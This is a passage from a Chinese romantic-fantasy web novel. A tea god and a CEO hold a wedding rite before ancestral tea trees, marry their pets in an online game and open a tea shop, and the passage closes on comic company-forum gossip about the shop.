这是他三年前出去搜集食物时,遇到一家人办喜事,据说办完喜事会有很多剩菜剩饭,尤其是农村的流水席,到最后几盘菜时,大家都吃饱了,几乎没有人动筷,炒菜还能留着吃几顿,汤汤水水留下也是倒掉。 汤汤水水,白清语喜欢,带回去给贺任沅吃一定很不错。 白清语在树后面蹲着,等候散席,突然一阵风起,把主人屋子外一片喜字和气球吹上天,有一张落到了茶神头上。 白清语等了等,好像没有任何一个人觉得要出来找。 那就是不要的?捡到的就是他的? 真好看,白清语顿时忘记汤汤水水,把婚礼装饰品带回去,挂在了一棵偏僻的茶树上。 今时今日,白清语又把它们拿出来。 想要与凡人同心同寿的仪式很简单,只要真心真意地拜过满山的神树,就可以了,按照人类的话说,这叫拜堂。 他要把贺任沅娶进来,自然要先打扫神境。 白清语挠挠脸蛋,对贺任沅道:“你愿意跟我拜堂吗?” “愿意。”贺任沅不假思索,答完才反应过来,这是茶神的求婚? 眼前画面一变,他再次进入茶神的神境,站在一片他没见过的空地上,旁边的山洞飘着两只可爱的红气球,对面是连绵的青山,远看郁郁葱葱,近看是一棵一棵古老的神树。 白清语指着对面道:“那些是我的祖宗,我们就在这儿拜天地拜高堂。” “只要他们不反对,我们就喜结连理。” 喜结连理,喜得贵子,在地愿为连理枝,同气连枝,同心同德,青山一道同风雨。 人类祖宗的浪漫在于想出一个一个以物拟人的美好词汇,以至于此刻有那么多写实的成语可以描绘茶神的浪漫。 贺任沅看着那么高的山头,茶树生在那里视野一定极佳,那茶神祖宗是不是看透了他套路白清语的过程? 贺任沅有些紧张:“什么情况下会反对?” 白清语:“啊?不知道,没听说过。” 茶树又不会说话,他想不出祖宗会怎么反对。 贺任沅“砰”地一声先跪下,这一下是负荆请罪,为他错过白清语独自抚养茶宝的这三年。 白清语连忙跟着跪下,嘴角勾起来,贺任沅也太着急了噢。 “我话还没说完呢。” “你说,我听着。” 白清语:“我们拜完堂,我们的寿命就一样长了,但你也不是没有代价。” 贺任沅:“什么代价?” 白清语:“从此你的性命掌握在我手里,如果有一天我不想你活了,你就会立刻衰歇而死。” 神仙天性淡然,能忍寂寞,半路出家的凡人却不一定。拥有长生的凡人在过了很久很久之后,心性可能变态。 白清语指着对面的山头道:“你看那些祖宗,有的茶树是成对的,有的形单影只,后者或许因为没谈恋爱,或许是因为他提前结束了伴侣的生命。” 贺任沅失笑:“这算什么代价,我愿意。” 白清语抿了抿唇:“那我们拜堂吧。” 两人跪在地上,一拜天地,二拜高堂,夫妻对拜。 贺任沅全程紧张,一边担心被反对,一边担心自己胡思乱想被误判为心不诚。 他忐忑地抬起头,周围一片安静,没有人声,也没有打雷。 “老婆。”贺任沅叫得最有底气的一回。 白清语倒向前抱住了他的腰:“你还记得你腰后的茶叶印记吗?” 贺任沅:“记得。” 白清语:“那是神境的开关,以后你想进来就按住茶叶十秒。之前我们没有拜堂,所以它是无效的,今日开始,你在神境过的时间,流速和人间一致。” 三年前,白清语耗费诸多神力治好了贺任沅,又攒了攒,才用神力凝结出这个印记。 可惜没来得及拜堂,贺任沅出去了就进不来。 贺任沅:“流速一致,意思是我们还有五小时就要去接茶宝放学?” 白清语:“不是啊,还有两小时就会有人来送午饭。” 贺任沅没想到这一茬,什么,早知道不喊着吃饭,继续吃白清语做的流食今天就没人打扰他们了。 “那更要抓紧时间洞房。” 贺任沅直接抱起白清语,站起来,径直往山洞走去。 老婆也太好了,再憋下去要变态了。 先做两个小时,回去吃个饭,在席梦思大床上再做两个小时,不然老婆的膝盖也会疼的。 第60章 贺任沅剥光了老婆的衣服,正要动真格,突然间顿住。 “老婆,你还会不会怀孕?” 万一怀孕了又失忆,谁给他赔一个老婆?茶神很容易繁殖的,春来秋去,树上能挂好多茶籽。 “我出去买套。” 白清语:“避孕套避孕是百分之百吗?” 贺任沅傻掉:“不是。” 如果白清语开一百朵花,他只要授粉成功一朵,就会有小小茶宝了? 白清语:“神界没有开枝散叶这一说,不然神仙命这么长,神境都挤不下了。我们有继承者就不会再生了。” 贺任沅对白清语的话只敢信七分,白清语的记忆刚找回来三天,或许不全,又折腾没了他上哪求神拜佛。 他要回去问问邓伯,邓伯虽然看不上他,但总不会骗他。 这里没有床没有枕头,除非站着,不然什么姿势都会磨到老婆娇嫩的皮肤。 贺任沅改用双手炒茶,火力全开。 白清语在他掌心下的皮肤发着烫,染着红,瑟瑟抖着。 按、压、煸、翻,贺任沅钟爱喝茶的这三年,去过潮州实地选过茶树,也去过工厂看老师傅手工炒茶的手艺。 比如太平猴魁是煸炒青,炒出来的茶叶是毫针状,炒茶人要用手掌压着茶叶固型。 贺任沅一手按着白清语腻白的后背压向自己。手工炒茶的火温较机械要高,他的手掌仿佛刚刚接触过碳石,紧密地压着茶叶,但两只手的工作强度定然比不上机械,因此炒制时间会更长,炒出来的茶叶更香更醇厚。 贺任沅见识过有经验的炒茶师傅,他也学了些皮毛,会根据茶叶的水汽、香气来控制力度和温度、时间。 最终的成品也令人满意,贺任沅轻轻吻住茶神眼角的泪水,和三年前在神境里尝到的味道一样,瞬间将他带回了和白清语亲密无间的岁月。 可能是茶神带了三年崽子,他的温柔和宽厚也融进了茶液里,气息更为芬芳柔和。 手工炒出来的茶,紧细,翠绿,密度更重,经水泡开,比机械炒茶更快沉入杯底。 贺任沅只是想抱着被舔了全遍的老婆去洗澡,刚下水,白清语就趁机沉到了水底。 人类就算拥有了很长的寿命,但并没有神力,仍然不能长时间在水下闭气,贺任沅只能在岸上哄:“快十二点了,我们回去吃饭。” 水面上一个泡泡都没有。 焦灼感涌上来,老婆在水里不见踪影,能稳稳站在岸上的都是死人。 贺任沅深吸一口气,沉入水底找人,一圈,两圈,这个湖大得心慌。 明知道茶神不会在神境里出事,但谁让他只是个天天接收“老婆掉水里丈夫救人不料双双身亡”新闻的凡人。 贺任沅身上的红细胞正在努力更新中,支撑不了他长时间憋气,一口气极限了浮上来,睁眼一看,白清语好好的站在岸上,衣服也穿好了,手里玩着两个光球。 白清语:“你还没恢复不要游泳。” 贺任沅气笑了,是谁上岸不打招呼的! 不等他发作,白清语就蹲下来,朝他伸出手:“我去找你的记忆碎片,都还给你。” 他想了想,贺任沅有权得知全部的过去,包括芒果事件。 贺任沅那么聪明,一定会疑惑自己为什么突然不喜欢芒果,他一定很希望拥有不断点的记忆。 贺任沅两手撑住岸边一块石板,两臂的肌肉鼓张,腰腹的人鱼线也随之分明,他只穿着一条蓝白病号裤,坐在石板上喘了口气,刀疤随着呼吸起伏。 白清语凑过去亲了一下伤口,把周围的水迹吮干净。 神境的湖水不会让伤口感染,但泡久了也不好。 贺任沅没忍住,把人抓过来按在腿上打了一下屁股。 “打一巴掌给一甜枣是从哪儿学的!” 先是一边用猪食折磨他,一边又悄悄在神境里准备婚房。接着又沉进水里遁走让他担心,同时跑去找他的记忆碎片。 贺任沅唾弃自己记吃不记打,每次后者发生,他就觉得前者完全可以忍受。 白清语忙着捂屁股,松开了光球,光球瞬间没进贺任沅的身体。 三分钟后,贺任沅好好地茶神扶起来,揉揉他的屁股:“我错了。” 白清语瞪他:“谁教我的?” 贺任沅低声下气:“我。” 白清语抬杠、反驳、骗他,原来都是他的劳动成果。 他想等伤一好就带白清语回家,结果让他独自在人间生活了三年,用他教给他的知识,笨拙地应付城里的套路。 毕竟就算律师也想不到白清语和茶宝会被杂技团的鹦鹉坑钱,会被幼儿园的家长用一个玻璃杯碰瓷。 是他的失职。 应对别人稍显笨拙,应对自己炉火纯青。 贺任沅抱住白清语:“对不起,说到的没有做到。” 白清语:“不是你的错,你不到三十,我两百岁,我才应该为我们的关系延续负责。” 贺任沅:“你两百岁——行,小祖宗,我们回去吃午饭。” 两人重新回到病房,贺任沅刚换完湿透的衣服,助理就送午餐进来。 “谢谢。”贺任沅一边摆盘子,一边给邓伯打了个电话,先问候他吃午饭了没。 邓伯中气十足:“吃了,吃三碗。”打书生力气足够。 贺任沅又扯了两句家常,说茶宝想念爷爷的红烧肉云云,最后才图穷匕见:“邓伯,每一代茶神是不是只有一个后代?” 邓伯:“对啊,你还想要几个,我们茶宝不能当独生宝宝吗。” 贺任沅:“能,太能了,谢谢邓伯,改天就带独生茶宝回去看您。” 贺任沅午饭吃得很用力。 饭后喝茶很卖力。 下午三点半,不参加课后延时的宝宝可以出园了。 贺任沅被允许出院去接茶宝,三天没上班,贺总身上的班味少了一些,出门也不穿西装了,牛仔裤和棒球服,春风得意,像男大学生从小小班里带走了他的小弟。 “老板爸爸。”白小茶嗅了嗅贺任沅的肩膀,“你身上有爸爸的味道。” 贺任沅:“宝宝的鼻子很好用。” 白小茶机智地发挥更高水平的嗅觉:“还有奶茶的味道!爸爸摇奶茶了么!” 贺任沅:“……嗯。” 白小茶关心地问:“加鸡蛋布丁和草莓了吗?” 贺任沅有些招架不住:“加了。” “茶宝,爸爸晚上准备了烛光晚餐,你想不想吃?” 白小茶误解了“爸爸”的指向,以为是白清语准备的,摸了摸头顶:“是准备给爸爸的吗?” 贺任沅:“对。” 白小茶双手摸头:“宝宝可以不吃吗?” 爸爸给老板爸爸准备的晚餐,一定不香噢。 贺任沅吃惊,儿子这么懂事给爸爸让出二人世界? 白小茶:“如果爸爸吃不完,宝宝也可以吃一点,没关系,宝宝不会肚子痛。” 贺任沅反应了一秒,阴差阳错掌握了二人世界的办法。 他换上坚强的语气:“爸爸是大人了,可以自己吃完,宝宝跟管家爷爷吃饭就好。” 白小茶道:“爸爸加油。” 白清语在医院门口等贺任沅,等车开到他面前,却只有贺任沅下车,茶宝坐在安全座椅上,身边跟着管家,道:“爸爸再见。” 白清语纳闷:“宝宝,我们要去干饭,你不去吗?” 爸爸+干饭,不是你最爱的组合了吗? 白小茶:“管家爷爷要过生日了,宝宝陪管家爷爷吃饭。” 白清语:?要过?那就是还没过? 贺任沅跟茶宝挥挥手,拉上车门:“拜拜。” 后边又跟着一辆车,车门打开,贺任沅牵着老婆上车:“我们两个人去吃饭。” …… 贺任沅出院后,很是小心眼,不让白清语去余经天的茶行站柜台,他自己给老婆在公司楼下开了一家茶舍……让白清语当经理在后台把关茶业品质。 白清语想去就去,想在家养鸡就在家养鸡。 白清语偶尔也会出勤,在茶舍办公室坐一坐。 这是一家前台和后台比例非常不协调的茶舍,前面只有几张桌椅,后面却有宽阔的办公室。 白清语坐着电脑前,严肃地……玩一个宠物养成游戏,叫做《孔雀庄园》。 他选了一只白孔雀,从孵蛋开始,每日登录签到升级做任务,终于养到十二级,变成了一只美丽优雅的成年白孔雀。 但是成年也有要每天固定签到、喂食、清洁、互动,不然就会饿了病了,游戏模式基本参照当年非常火的企鹅宠物。 白清语第一次玩游戏,难免沉迷,每天准时去签到,尽心尽力地养成。 有时候上床上着,也会想起没给电子宠物喂晚饭。 贺任沅:“饿不死。” 白清语:“你怎么忍心让他饿着?饿着很难受啊你最清楚了,你一说饿我都有喂你。” 贺任沅无差别吃醋,吃电子宠物的醋,吃每一个吃他老婆软饭的生物的醋,虽然他看不起软饭男,但也绝不允许自己的生态位被抢占。就像小三上位后,看谁都像挖墙脚的三,吃软饭上位同理。 他在老婆面前大声宣读沉迷游戏的坏处,会致使夫妻关系失衡,父子关系紧张。 白清语恍若未闻:“孔雀宝宝很可爱啊。” 贺任沅的身体要复查,医生给贺任沅做检查时,白清语陪着他抽血,陪着陪着就点开了游戏:“昨天忘记清洁了,我的宠物跟你很像,有洁癖,今天不会生病了吧。” 贺任沅:“……”你的丈夫正在生病复查抽血,你看也不看,在网络找什么宠物替身。老婆原本很关心他每一次抽血检查的,现在都不关心了。白清语不会只喜欢养成不喜欢独立男性吧? 他狠狠地吃醋了,抽血的手握成拳头。电子宠物看起来跨次元和物种了,但是人类和茶树也是跨物种的,他吃醋是有理有据的。 医生没法抽血,再次化身心理医生,抬了抬眼镜:“这个游戏我知道,我女儿也在玩,宠物达到二十级后可以配对结婚,还可以一起孵蛋。” 贺任沅瞬间治好了:“结婚?” 医生:“现在可以放松手掌抽血了么?” 贺任沅;“稍等,我先申请一只宠物。” 医生:“……” 60-64 第61章 补充了一百字结尾 贺任沅注册了账号,id就叫本名,选择珍稀的绿孔雀当宠物还要充值。 充。茶神肯定喜欢古老的孔雀品种。 【请给孔雀设置性格】 贺任沅输入:“高智商、理智、老婆第一。” 孔雀蛋上方弹出一团乱麻,系统似乎不能消化这几个冲突的性格。 贺任沅不管不顾地点击确定,新手登录,游戏一直推荐他逛一逛庄园,认识几个新好友。 贺任沅厌烦地点叉,右上角又弹出消息,“孔雀开屏大会即将举行,快来装扮你的孔雀吧。” 做任务或者氪金可以改变羽毛的色彩,12级以上的成年孔雀才能开屏。 他不一定要参加这个弱智开屏大会,但要防着有人对他老婆开屏。 贺任沅背着老婆注册,然后把账号交给助理,“用一切方式升级。” 他要偷偷升级,超过老婆,然后惊艳老婆,以成熟美丽的雄孔雀姿态翩然而降,这一次,他要变成年上。 白清语在游戏里答了一会儿智力题,给自己的孔雀刷智力,奈何好多人类世界的题目他都不会,智力一直卡在59上不去,今天的体力消耗完毕,白清语无视游戏疯狂暗示他氪金,下线了。 “啊,你抽完血了?”白清语转头就看见贺任沅已经按着棉花止血了,忙伸手帮他按住,“要按半小时。” 他还记得贺任沅之前两只手臂都淤青的样子,心疼坏了。 贺任沅:“一共才抽两毫升,没必要。” 白清语:“有必要。” 贺任沅又感受到了老婆的关心,嘴角一扬:“好。” 医生目不斜视出了私人诊疗室,关上门。 贺任沅干脆去躺下来,白清语侧身躺在他身边,指尖握住他的手臂。 “茶神,我有点渴了。” 白清语就要起身:“我去给你泡茶。” 贺任沅把他按回床上:“来亲嘴。” 两人黏黏糊糊地盖上被子亲嘴,白清语被亲得口干舌燥,不得不推开贺任沅补水。 他灌了一口白开水,红唇染上明亮的水色,开始抗议贺任沅:“你能不能正经喝茶,我头发都好长了。” 贺任沅都不喝正宗的茶叶了,一想喝茶就亲他,这样是不对的。相处这么久,没有要求他剪过一次头发。 当初他不给还非要茶宝的头发,现在一整天都不见喝茶。 贺任沅:“我反省。” 白清语:“那你改不改?” 贺任沅不吭声,试图拿起手机转移话题。 白清语替他找好了理由,低声问:“你是不是被书生的故事吓住了?因为那个书生总是剪茶神的头发,所以你要跟他区别开来,一点都不剪?” 贺任沅没有顺坡下驴,老实道:“不是,比起茶叶,我就是更馋你的身子,我变态。” 白清语听着听着手都不知道往哪放了,嘟囔道,“干嘛这么说自己,也没有很变态啊。” 贺任沅得寸进尺道:“我其实也想喝茶,但都是在工作时间,在公司上班的时候,一回家我就只想亲你。” 白清语又高兴起来,他很愿意贺任沅喝茶叶泡的水,而不是茶树泡的水,后者听起来确实微微有点变态,他决心扭转,就像贺任沅培养茶宝正确的吃饭习惯一样:“那我给你很多很多茶叶,你带到公司泡。” 贺任沅:“我工作很忙,抽不出时间认真泡茶,暴殄天物。” 白清语:“你随便泡泡,没关系,我有有好多。” 贺任沅:“不行,这是不尊重茶神的产出。” 白清语:“那你让秘书泡。” 贺任沅又偷换概念:“我不想让别人泡你。” 白清语:“那怎么办?” 贺任沅循循善诱:“你不是在我公司楼下开了茶舍,你经常去上班,我渴了你就送一杯上来。” 茶舍是贺任沅开的,反正是自家的楼,开着给老婆玩,店名叫《大茶小茶》,每次下班路过看到店名,贺任沅发自内心感到幸福。 白清语之前被秘书叫“总裁夫人”,好羞耻的称呼,他尴尬得再也不去贺任沅的办公室了。偶尔去茶舍,也是呆在办公室里面玩游戏,不用去前台帮忙。 因为贺任沅让哑巴姐妹培训上岗当店员,而这两个员工就能包办一切业务—— 一杯纯茶定价49,只能线下购买,跟抢钱一样,根本没几个人喝。 更别提二十米内还有一家9.9出名的连锁咖啡店,不喜欢喝咖啡的,附近也有奶茶店。 白清语开店之初就怀疑过定价是不是高了,竞争不过咖啡店茶神有点没面子。 生意太好老婆就会累到,贺任沅心里打着算盘,嘴上一套一套:“老婆,我们要对标的是高端咖啡店,不能跟平价咖啡店打价格战,有损茶神的高贵。” “再者,泡茶的茶叶都是从家里库房拿的正品高级货,一泡最低几十块。” 贺任沅劝说白清语开店的理由就是以前收集的茶叶他不喝了,放着会过期,不如开个茶舍。“租金、货源、人工,都不要钱,卖出一杯49赚回45。” 节约的茶神即刻上当。 因为卖不出几杯,根本不用考虑进货,白清语每次从贺任沅库房里带一些去就够了。 白清语本来拒绝在工作时间出现在贺任沅办公室,现在为了鼓励贺任沅正常喝茶,他开始积极地去大茶小茶上班,等贺任沅点菜。 白天喝腻了,晚上就不许舔他了噢。 贺任沅对生活愈发满意,早上带着老婆孩子一起出门,先把儿子送幼儿园,再把老婆送店里,随时跟大茶小茶的直线距离都不超过五百米。 白清语一边在游戏里做任务,一边盯着手机消息。 叮咚—— [专属律师]:一杯茶。[转账49] 白清语立刻站起来,从包里取出一把茶叶,亲自拿去泡。 哑巴姐妹整天都闲着,茶舍不像是奶茶店,需要准备小料和牛奶,她们只需要在有客人时,用矿泉水烧到85℃煮茶。 与其说她俩是茶艺师,不如说是给夫人当隐形保镖——姐妹俩身体本来就高壮,贺任沅还出资训练擒拿术。 姐妹俩看着白清语泡茶,夫人泡茶的姿势好优美,少爷好幸福,大茶小茶不提供外送服务,整栋楼只有少爷能享受送茶上门,还是由夫人亲自送的,简直幸福得冒泡。有眼睛的人都能看出谈恋爱之后的贺少有多意气风发,宛若回到了十八岁。 白清语泡好了茶,用玻璃杯装着,坐总裁电梯上楼,一出电梯,绕过一个弯,就能看见西装革履办公的贺总。 “喏。”白清语把杯子放在桌上,“喝吧。” 贺任沅端起茶杯抿了一口:“谢谢老婆。” 只要花49块就能见到老婆的日子简直不敢想象。 “贺总。”助理进来,似乎有要事要说,看见白清语舌头一顿,闭嘴了。 白清语疑惑:“有什么话不能当着我的面说吗?那我出去,你先汇报吧。” 他又对贺任沅道:“你喝完茶我再进来收杯子。” 助理嘶一声,觉得贺总恐怕就吃这一套以退为进。 果然,贺任沅道:“你直说。”他行得正坐得直,没有任何事瞒着老婆。 助理爽直道:“贺总,您让我养的孔雀账号已经满级了。这是它的数据。” 使用了一些钞能力和走后门,这个游戏公司也是他们熟识的朋友。 白清语抬眸,没想到贺任沅也养了孔雀,感兴趣地道:“给我看看。” 贺任沅示意助理出去,打开电脑登录游戏。 白清语坐在贺任沅腿上,看他的电脑,屏幕上出现一只绿孔雀,智力体力魅力全都点满,华丽得令人咋舌。 “100级!我才二十级。” 贺任沅云淡风轻道:“孔雀达到规定结婚等级,我们可以去月老那里申请领证了。” “还可以结婚?”白清语就知道闷头喂鸡,其他玩法一概不知,闻言登录账号,跟贺任沅一起“结婚”。 贺任沅春风得意地申请结婚,下一刻,桌面弹出“失败”二字。?! 他跟老婆天生一对,这个破游戏什么意思?还钱! 他定睛一看,还有一行灰色小字提醒:一方智力低于60不能结婚,未成年玩家禁止结婚。 “……”这么人性化吗? “老婆,你的智力怎么低于六十?” 白清语无地自容,涨红了脸:“他的题目好难,我答不对。” 因为贺任沅一直表现得很讨厌这个游戏,所以白清语没有拿题目去问他。 贺任沅有些懊恼,他不应该对老婆喜欢的东西表现出排斥,导致白清语遇到难题只能自己消化不敢来找他,他放柔语气:“没事,我帮你。” 贺任沅帮着白清语答题,一把踏过六十的门槛,成功领证,并收获老婆无数崇拜的目光,人生赢家不过如此。 领证之后有许多固定的仪式可以参加,贺任沅陪着看了一会儿,道:“我上个洗手间。” 白清语站起来,让贺任沅出去,自己坐回老板椅上,握着鼠标到处戳贺任沅的孔雀,戳一下就会冒出一句表白。 点着点着,他不知打开了什么网页,进入了舒贺集团的员工内部论坛。 【楼下新开的大茶小茶抢钱吗,一杯纯茶49,到底是谁在喝。】 [没看见人买过,过几天就倒闭了吧。] [我上司请我喝过,她说是顶级好茶,我喝不出来,也说明人家受众就不是我们普通人。] [月租五万,一天就是卖高管一人一杯也回不来本吧。] [真不一定会倒闭,老板不收他租金。] [这是哪个高管的情人?服装店鲜花店纯茶店,据说大佬都爱给情人开这个。] [告诉楼上一个坏消息,这不是虎扑,你在公司内部实名上网。] [笑死,辞职流程在走了吧。] 白清语眨眼,租金原来这么贵啊?贺任沅如果租给别人能挣五万。 他得想个办法提升生意。 他看见贺任沅回来,道:“我想增加品类,卖原创果茶和奶茶,你觉得如何?” 贺任沅受惊,宝宝,你的原创指的是在茶里加鱼汤吗?我们公司员工的胃没有我和茶宝这么能造。 贺任沅此刻体现了一个维护员工企业家应有的担当:“我建议还是做纯茶,纯茶提神,契合商务人士的需要。” 白清语才不上当:“你明明更喜欢奶茶和果茶。” 贺任沅反应了一下,无言以对。 第62章 贺任沅走过来,看见电脑上的内部论坛,提到了“月租”字眼,明白了不能用“无成本开店”忽悠白清语了。 他顺便把某条不友好言论截图发给秘书,然后关闭论坛。 站在白清语的立场想想这五万,贺任沅改为鼓励老婆上新:“现在是高管喝得比较多,可以考虑加个奶盖什么增加受众。” 对于怎么融合奶、果、茶,贺任沅在茶神身上实验了很多次,经验丰富,他甚至买过很多优质奶茶原料,记得哪个供货商品质最好,嘴上说给茶宝买来摇奶茶,私底下自己偷偷用。可怜的茶宝每次一脸懵逼:“宝宝吃得这么快吗。” 别的小情侣可能会有一些**用品,贺任沅从来不买,看不上那些伎俩。 现在,他的经验可以拿出来贡献给老婆,甚至还可以讨点好处。 贺任沅端着做学术的姿态道:“我帮你一起研究新品。” 白清语相信贺任沅的品味比较高,痛快答应:“好。” 但是……呃……茶神也没想到在他身上研究的,连操作台都省了,而且研究员非常勤奋,一天都不肯歇着。 白清语开发了一种新品:雪顶妮娜红韵。 妮娜是葡萄,红韵是乌龙,夏天喝冰奶盖。 贺任沅让他定价99,因为葡萄乌龙奶盖都是用最好的。 一杯奶茶99还是超出白清语的想象力,他和茶宝喝的第一杯奶茶只要三块钱:“如果卖得多一点,能不能便宜一点?” “不行,因为研发成本非常高。” 白清语噎住,如果算贺任沅的时薪,那确实是很高的。 贺任沅:“不高吗?” 白清语:“高。” 无论啥奶茶,茶宝都夸好喝,但爱喝奶茶姜萌萌也说好喝,白清语便很有信心地上架。 由于研发过程付出了巨大的心力,白清语很关心销量,没有像往常那样守在后台,而是在前台时刻关注。 哑巴姐妹开始忙碌地准备配料,笃定等下会有很多顾客,夫人就是招财猫,今天生意一定很好。 白清语站台的效果立竿见影,打工人一进公司,本来对自己“高攀不起”的茶饮不屑一顾,用态度和脚步祝福它早日倒闭。 但是今天,美人站在那里,跟发光体似的,凡是路过,必停下脚步。 一旦被色心迷眼驻足,你就糟糕了,大美人的茶色眼珠立刻像猫见到老鼠一样锁定你,不分贫富地向你投来期待的眼神。 完蛋,最低消费49了。 打工人端着一杯纯茶回到工位,耳朵里还痒痒地回荡着一声“谢谢惠顾”。 一早上果然很忙碌,李如李愿面前都排起了队伍,大家在队伍里一边跺脚怕迟到,一边偷偷看美人老板,看够了大喊一声“要迟到了”火速溜走。 三天后的舒贺集团内部论坛。 【咱公司的人嘴真严啊,楼下的雪顶妮娜红韵那么好喝,居然没有人给我安利,是我喝过最好的奶茶!】 1L:[一杯99,我倒是想给你安利,我怕你说我凡尔赛。] 2L:[反正每次大客户来我就公费点一杯,嘻嘻。] 3L:[不是我们嘴严,是一开始买的人只有高层他们,什么味道人家不跟我说啊。] 5L:[我要是曝光一个事实,你们会觉得公司的人嘴巴都严死了。] 6L:[什么什么,还有什么八卦是我八卦小王子不知道的?] 7L:[你们天天排队偷看的美人老板是你老板娘。] 8L:[是我的阅读理解有问题吗?你的意思是说我老板其实奶茶店的老板娘?] 9L:[你们在绕口令吗?到底有几个老板?] 10L:[我说出那四个字怕被删,总裁夫人!这里真的有管理员在看,上次那位大兄弟胡乱揣测被上司教育文明上网咯。] 11L:[还有人不知道双胞胎姐妹店员是贺总请的特种兵保镖吗。] 12L:[难怪我一搭讪哑巴姐妹的表情就有杀气。] 13L:[啊啊啊魂飞魄散!为什么没人告诉我!这么说我上班时间在奶茶店摸鱼全被总裁夫人看见了?吸氧.jpg] 14L:[都这么嘴严吗?那我再说一个,点那个大红袍可以请大美人亲自泡茶,ps.前提他在,并且贺总不在。] 15L:[靠靠靠我也要大美人亲手泡茶,为什么奶茶这么贵我这么穷!] 16L:[那个茶底真的很好,我看见店员一包一包撕开包装,贺总的会客室等级也就这样了。] 17L:[水果很新鲜,奶盖很新鲜,年轻人的第一杯百元奶茶。] 18L:[用料真的扎实,葡萄是现剥的,水灵灵的,不新鲜的我们吃不上,我亲眼看见夫人把烂葡萄剥给贺总吃。] 19L:[冲楼上这句话我买了!] …… 456:[不是,大家都是隐形富豪吗?每次买都排队啊摔!] 457:[我儿子在员工幼儿园排队喝奶茶,我上班排队喝奶茶,这里的奶茶该死的有魅力。] 458:[一周一杯多吗?勇敢的人先享受贺总同款。] 459:[嘿,我一边给总裁当牛马,累了就去总裁夫人那儿买杯茶,喝完继续去总裁那儿当牛马。] 460:[公司挣钱公司花,一分别想带回家。] 461:[老板要不直接把我工资划你老婆卡里吧,省得还要扣税。] 462:[上班为了下班,工资只够早茶。] 463(贺望重):[@